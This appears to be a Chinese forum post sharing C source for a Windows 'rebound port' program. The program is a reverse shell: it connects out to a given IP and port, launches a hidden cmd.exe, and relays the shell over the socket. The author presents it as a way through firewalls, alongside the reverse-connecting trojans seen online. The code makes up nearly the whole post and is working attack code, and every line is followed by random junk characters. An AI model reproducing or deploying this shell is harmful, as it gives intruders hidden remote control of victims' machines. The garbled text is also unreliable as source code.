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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BB$oq'  
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/* ============================== gB'fFkd  
Rebound port in Windows NT M]]pTU((  
By wind,2006/7 @`36ku  
===============================*/ 4qi[r)G  
#include ;)AfB#:d  
#include 0\9K3  
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#pragma comment(lib,"wsock32.lib") }J:+{4Yn  
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void OutputShell(); Q Fm|-j  
SOCKET sClient; b</9Ai=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NB_ )ZEmF  
vmTs9"ujF,  
void main(int argc,char **argv) PQN@JaD  
{ cTTW06^  
WSADATA stWsaData; 3*UR3!Z9 *  
int nRet; LUX*P7*B  
SOCKADDR_IN stSaiClient,stSaiServer; vQ}6y  
b75 $?_+  
if(argc != 3) 8I;XS14Q  
{ u"1rF^j6k  
printf("Useage:\n\rRebound DestIP DestPort\n"); s*/bi W  
return; q$(5Vd:  
} bg,9@ }"F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); RwI[R)k  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WYB{% yf   
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stSaiClient.sin_family = AF_INET; Z/;Xl~  
stSaiClient.sin_port = htons(0); XW{>-PBg:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L|-98]8>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1923N]b  
{ bHLT}x/Gw  
printf("Bind Socket Failed!\n"); G;NF5`*4mc  
return; @yd4$Mv8%  
} ]?O2:X  
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stSaiServer.sin_family = AF_INET; /S5| wNu  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <@wj7\pQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tGA :[SP  
[r+ZE7$2b"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =@,Q Dm]L  
{ WrPUd{QM  
printf("Connect Error!"); /sM~U q?  
return; AfeCK1mC@  
} @%k}FL=:t(  
OutputShell(); GdV1^`M6  
} oi}i\: hI  
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void OutputShell() 7dsefNPb  
{ wo_,Y0vfB  
char szBuff[1024]; fb8%~3i>  
SECURITY_ATTRIBUTES stSecurityAttributes; sGh(#A0Pt  
OSVERSIONINFO stOsversionInfo; 2(5ebe[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1f",}qe;  
STARTUPINFO stStartupInfo; n  -(  
char *szShell; su*Pk|6%  
PROCESS_INFORMATION stProcessInformation; m]i @ +C  
unsigned long lBytesRead; kmzH'wktt  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DCqY|4Qc  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]Q]W5WDe:  
stSecurityAttributes.lpSecurityDescriptor = 0; f&v9Q97=  
stSecurityAttributes.bInheritHandle = TRUE; `Al;vVMRO  
ctE\ q  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }D+}DPL{^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X7k.zlH7T  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  N?Lb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >pUtwIP  
stStartupInfo.wShowWindow = SW_HIDE; =UyLk-P w  
stStartupInfo.hStdInput = hReadPipe; \%UkSO\nO3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  V#VN %{  
7{&|;U  
GetVersionEx(&stOsversionInfo); &0f5:M{P  
%v20~xW :o  
switch(stOsversionInfo.dwPlatformId) df7wN#kO+  
{ N F)~W#  
case 1: :y7c k/>  
szShell = "command.com"; w$JvB5O  
break; H":oNpfb  
default: 3R+|5Uq8~  
szShell = "cmd.exe"; 2-Y<4'>  
break; D!7`CH+  
} 8M!:N(a  
(5]}5W*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p]3?gK-  
I? ,>DHUX  
send(sClient,szMsg,77,0); D3|I:Xm  
while(1) $DG?M6   
{ ~69&6C1Ch  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e7wSOs  
if(lBytesRead) P.gb 1$7<  
{ ]U"94S U:)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bhniB@<  
send(sClient,szBuff,lBytesRead,0); H;RwO@v  
} N7e"@Ic  
else 03C0L&  
{ ]+X@ 7  
lBytesRead=recv(sClient,szBuff,1024,0); t.mVO]dsj  
if(lBytesRead<=0) break; -GxaV #{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m*JaXa  
} UFMA:o,  
} eM8}X[  
|1j["u1  
return; F$)[kP,wtO  
}
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